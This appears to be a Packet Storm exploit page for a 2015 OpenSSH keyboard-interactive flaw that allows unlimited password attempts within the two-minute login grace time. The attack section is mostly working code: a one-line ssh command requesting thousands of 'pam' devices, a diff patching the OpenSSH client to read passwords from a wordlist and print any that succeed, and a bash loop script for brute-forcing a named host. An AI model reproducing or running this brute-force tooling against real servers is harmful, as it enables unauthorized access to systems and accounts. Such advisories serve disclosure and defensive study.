what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OpenSSH Two Minute Cracking Window

OpenSSH Two Minute Cracking Window
Posted Jul 19, 2015
Authored by Kingcope

OpenSSH allows for unlimited password cracking in a two minute timeframe.

tags | exploit
SHA-256 | 25629b480318a8e57f7afa8ce9daa4ea9ed171b4e2087d872c4851d327423301

OpenSSH Two Minute Cracking Window

Change Mirror Download
OpenSSH has a default value of six authentication tries before it will
close the connection (the ssh client allows only three password
entries per default).

With this vulnerability an attacker is able to request as many
password prompts limited by the “login graced time” setting, that is
set to two minutes by default.

Especially FreeBSD systems are affected by the vulnerability because
they have keyboard-interactive authentication enabled by default.

A simple way to exploit the bug is to execute this command:

ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "pam," x
10000'` targethost

This will effectively allow up to 10000 password entries limited by
the login grace time setting.

The crucial part is that if the attacker requests 10000
keyboard-interactive devices openssh will gracefully execute the
request and will be inside a loop to accept passwords until the
specified devices are exceeded.

Here is a patch for openssh-6.9p1 that will allow to use a wordlist
and any passwords piped to the ssh process to be used in order to
crack passwords remotely.

---snip---

diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c
83a84,85
> char password[1024];
>
510c512,517
< authctxt->success = 1; /* break out */
---
> printf("==============================================\n");
> printf("*** SUCCESS **********************************\n");
> printf("*** PASSWORD: %s\n", password);
> printf("==============================================\n");
> exit(0);
>
1376a1384,1385
> char *devicebuffer;
> int i;
1386a1396,1405
> devicebuffer = calloc(1, 200000);
> if (!devicebuffer) {
> fatal("cannot allocate devicebuffer");
> }
>
> for (i=0;i<200000-2;i+=2) {
> memcpy(devicebuffer + i, "p,", 2);
> }
> devicebuffer[200000] = 0;
>
1393,1394c1412
< packet_put_cstring(options.kbd_interactive_devices ?
< options.kbd_interactive_devices : "");
---
> packet_put_cstring(devicebuffer);
1408c1426
< char *name, *inst, *lang, *prompt, *response;
---
> char *name, *inst, *lang, *prompt;
1410c1428
< int echo = 0;
---
> char *pos;
1425a1444
>
1430a1450
>
1443,1449c1463,1469
< echo = packet_get_char();
<
< response = read_passphrase(prompt, echo ? RP_ECHO : 0);
<
< packet_put_cstring(response);
< explicit_bzero(response, strlen(response));
< free(response);
---
> packet_get_char();
> if (fgets(password, 1024, stdin) == NULL)
> exit(0);
> if ((pos=strchr(password, '\n')) != NULL)
> *pos = '';
> printf("%s\n", password);
> packet_put_cstring(password);

---snip---

After applying the patch you can use this shell script to make the
password attack from a wordlist:

---snip---

#!/bin/bash
# run as:
# cat wordlist.txt | ./sshcracker.sh ssh-username ssh-target
#
while true
do
./ssh -l$1 $2
rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi
echo Respawn due to login grace time...
done

---snip---

For example enter this command:

cat wordlist.txt | ./sshcracker.sh test 192.168.2.173

The attack has been tested against a new FreeBSD 10.1 system and older
FreeBSD versions such as version 6.2.


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close